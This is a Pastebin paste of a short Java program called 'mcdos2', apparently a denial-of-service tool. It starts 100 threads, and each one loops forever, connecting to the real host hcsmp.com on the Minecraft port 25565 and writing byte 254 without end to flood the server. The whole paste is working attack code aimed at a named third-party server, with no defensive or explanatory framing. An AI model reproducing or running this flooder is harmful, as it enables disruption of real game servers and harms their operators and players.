Guest User

Untitled

a guest
May 22nd, 2018
68
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.36 KB | None | 0 0
  1. import java.net.*;
  2. import java.util.*;
  3. import java.io.*;
  4.  
  5.  
  6.  
  7. public class mcdos2 {
  8.  
  9. public mcdos2() {
  10. for(int i=0;i<100;i++) {
  11. new derpthread();
  12. }
  13. }
  14.  
  15. public static void main(String[] args) {
  16. new mcdos2();
  17. }
  18.  
  19.  
  20. }
  21.  
  22. class derpthread extends Thread {
  23.  
  24. public derpthread() {
  25. this.start();
  26. }
  27. public void run() {
  28. while(true) {
  29. action();
  30. }
  31. }
  32.  
  33. public void action() {
  34. try {
  35. Socket socket = new Socket();
  36. socket.setSoTimeout(3000);
  37. socket.setTcpNoDelay(true);
  38. socket.setTrafficClass(18);
  39. socket.connect(new InetSocketAddress("hcsmp.com", 25565), 1000);
  40. DataInputStream datainputstream = new DataInputStream(socket.getInputStream());
  41. DataOutputStream dataoutputstream = new DataOutputStream(socket.getOutputStream());
  42. while(true) {
  43. dataoutputstream.write(254);
  44. }
  45. } catch (Exception e) {
  46. e.printStackTrace();
  47. }
  48. }
  49. }
Add Comment
Please, Sign In to add comment